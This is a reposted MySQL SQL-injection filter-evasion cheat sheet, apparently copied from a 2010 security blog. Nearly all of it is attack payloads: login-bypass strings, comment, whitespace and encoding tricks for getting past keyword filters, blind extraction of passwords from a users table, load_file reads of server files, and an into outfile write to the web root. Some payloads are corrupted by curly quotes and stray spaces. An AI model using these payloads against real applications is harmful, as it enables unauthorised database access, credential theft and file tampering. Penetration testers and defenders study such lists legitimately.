SQLi filter evasion cheat sheet (MySQL)Basic filterComments‘ or 1=1#
‘ or 1=1– -
‘ or 1=1/* (MySQL < 5.1)
' or 1=1;
' or 1=1 union select 1,2 as `
' or#newline
1='1
' or– -newline
1='1
' /*!50000or*/1='1
' /*!or*/1='1
Prefixes+ – ~ !
‘ or –+2=- -!!!’2
Operators^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL
Whitespaces%20 %09 %0a %0b %0c %0d %a0 /**/
‘or+(1)sounds/**/like“1“–%a0-
‘union(select(1),tabe_name,(3)from`information_s chema`.`tables`)#
Strings with quotesSELECT ‘a’
SELECT “a”
SELECT n’a’
SELECT b’1100001′
SELECT _binary’1100001′
SELECT x’61′
Strings without quotes‘abc’ = 0×616263
Aliasesselect pass as alias from users
select pass aliasalias from users
select pass`alias alias`from users
Typecasting‘ or true = ’1 # or 1=1
‘ or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1
‘ or ’1 # or true
Compare operator typecastingselect * from users where ‘a’='b’='c’
select * from users where (‘a’='b’)=’c’
select * from users where (false)=’c’
select * from users where (0)=’c’
select * from users where (0)=0
select * from users where true
select * from users
Authentication bypass ‘=’select * from users where name = ”=”
select * from users where false = ”
select * from users where 0 = 0
select * from users where true
select * from users
Authentication bypass ‘-’select * from users where name = ”-”
select * from users where name = 0-0
select * from users where 0 = 0
select * from users where true
select * from users
Function filterGeneral function filteringascii (97)
load_file/*foo*/(0×616263)
Strings with functions‘abc’ = unhex(616263)
‘abc’ = char(97,98,99)
hex(‘a’) = 61
ascii(‘a’) = 97
ord(‘a’) = 97
‘ABC’ = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36 ))
Strings extracted from gadgetscollation(\N) // binary
collation(user()) // utf8_general_ci
@@time_format // %H:%i:%s
@@binlog_format // MIXED
@@version_comment // MySQL Community Server (GPL)
dayname(from_days(401)) // Monday
dayname(from_days(403)) // Wednesday
monthname(from_days(690)) // November
monthname(from_unixtime(1)) // January
collation(convert((1)using/**/koi8r)) // koi8r_general_ci
(select(collation_name)from(information_schema.col lations)where(id)=2) // latin2_czech_cs
Special characters extracted from gadgetsaes_encrypt(1,12) // 4çh±{?”^c×HéÉEa
des_encrypt(1,2) // ‚GÒ/ïÖk
@@ft_boolean_syntax // + -><()~*:""&|
@@date_format // %Y-%m-%d
@@innodb_log_group_home_dir // .\
Integer representationsfalse: 0
true: 1
true+true: 2
floor(pi()): 3
ceil(pi()): 4
floor(version()): 5
ceil(version()): 6
ceil(pi()+pi()): 7
floor(version()+pi()): 8
floor(pi()*pi()): 9
ceil(pi()*pi()): 10
concat(true,true): 11
ceil(pi()*pi())+true: 11
ceil(pi()+pi()+version()): 12
floor(pi()*pi()+pi()): 13
ceil(pi()*pi()+pi()): 14
ceil(pi()*pi()+version()): 15
floor(pi()*version()): 16
ceil(pi()*version()): 17
ceil(pi()*version())+true: 18
floor((pi()+pi())*pi()): 19
ceil((pi()+pi())*pi()): 20
ceil(ceil(pi())*version()): 21
concat(true+true,true): 21
ceil(pi()*ceil(pi()+pi())): 22
ceil((pi()+ceil(pi()))*pi()): 23
ceil(pi())*ceil(version()): 24
floor(pi()*(version()+pi())): 25
floor(version()*version()): 26
ceil(version()*version()): 27
ceil(pi()*pi()*pi()-pi()): 28
floor(pi()*pi()*floor(pi())): 29
ceil(pi()*pi()*floor(pi())): 30
concat(floor(pi()),false): 30
floor(pi()*pi()*pi()): 31
ceil(pi()*pi()*pi()): 32
ceil(pi()*pi()*pi())+true: 33
ceil(pow(pi(),pi())-pi()): 34
ceil(pi()*pi()*pi()+pi()): 35
floor(pow(pi(),pi())): 36
@@new: 0
@@log_bin: 1
!pi(): 0
!!pi(): 1
true-~true: 3
log(-cos(pi())): 0
-cos(pi()): 1
coercibility(user()): 3
coercibility(now()): 4
minute(now())
hour(now())
day(now())
week(now())
month(now())
year(now())
quarter(now())
year(@@timestamp)
crc32(true)
Extract substringssubstr(‘abc’,1,1) = ‘a’
substr(‘abc’ from 1 for 1) = ‘a’
substring(‘abc’,1,1) = ‘a’
substring(‘abc’ from 1 for 1) = ‘a’
mid(‘abc’,1,1) = ‘a’
mid(‘abc’ from 1 for 1) = ‘a’
lpad(‘abc’,1,space(1)) = ‘a’
rpad(‘abc’,1,space(1)) = ‘a’
left(‘abc’,1) = ‘a’
reverse(right(reverse(‘abc’),1)) = ‘a’
insert(insert(‘abc’,1,0,space(0)),2,222,space( 0)) = ‘a’
space(0) = trim(version()from(version()))
Search substringslocate(‘a’,'abc’)
position(‘a’,'abc’)
position(‘a’ IN ‘abc’)
instr(‘abc’,'a’)
substring_index(‘ab’,'b’,1)
Cut substringslength(trim(leading ‘a’ FROM ‘abc’))
length(replace(‘abc’, ‘a’, ”))
Compare stringsstrcmp(‘a’,'a’)
mod(‘a’,'a’)
find_in_set(‘a’,'a’)
field(‘a’,'a’)
count(concat(‘a’,'a’))
String lengthlength()
bit_length()
char_length()
octet_length()
bit_count()
String caseucase
lcase
lower
upper
password(‘a’) != password(‘A’)
old_password(‘a’) != old_password(‘A’)
md5(‘a’) != md5(‘A’)
sha(‘a’) != sha(‘A’)
aes_encrypt(‘a’) != aes_encrypt(‘A’)
des_encrypt(‘a’) != des_encrypt(‘A’)
Keyword filterConnected keyword filtering(0)union(select(table_name),column_name,…
0/**/union/*!50000select*/table_name`foo`/**/…
0%a0union%a0select%09group_concat(table_name)….
0′union all select all`table_name`foo from`information_schema`. `tables`
OR, AND‘||1=’1
‘&&1=’1
‘=’
‘-’
OR, AND, UNION‘ and (select pass from users limit 1)=’secret
OR, AND, UNION, LIMIT‘ and (select pass from users where id =1)=’a
OR, AND, UNION, LIMIT, WHERE‘ and (select pass from users group by id having id = 1)=’a
OR, AND, UNION, LIMIT, WHERE, GROUP‘ and length((select pass from users having substr(pass,1,1)=’a'))
OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING‘ and (select substr(group_concat(pass),1,1) from users)=’a
‘ and substr((select max(pass) from users),1,1)=’a
‘ and substr((select max(replace(pass,’lastpw’,”)) from users),1,1)=’a
OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT‘ and substr(load_file(‘file’),locate(‘DocumentRoo t’,(load_file(‘file’)))+length(‘DocumentRo ot’),10)=’a
‘=” into outfile ‘/var/www/dump.txt
OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT, FILE‘ procedure analyse()#
‘-if(name=’Admin’,1,0)#
‘-if(if(name=’Admin’,1,0),if(substr(pass,1,1)=� �a',1,0),0)#
Control flowcase ‘a’ when ‘a’ then 1 [else 0] end
case when ‘a’='a’ then 1 [else 0] end
if(‘a’='a’,1,0)
ifnull(nullif(‘a’,'a’),1)
Nguồn:http://websec.wordpress.com/2010/12/...t-sheet-mysql/
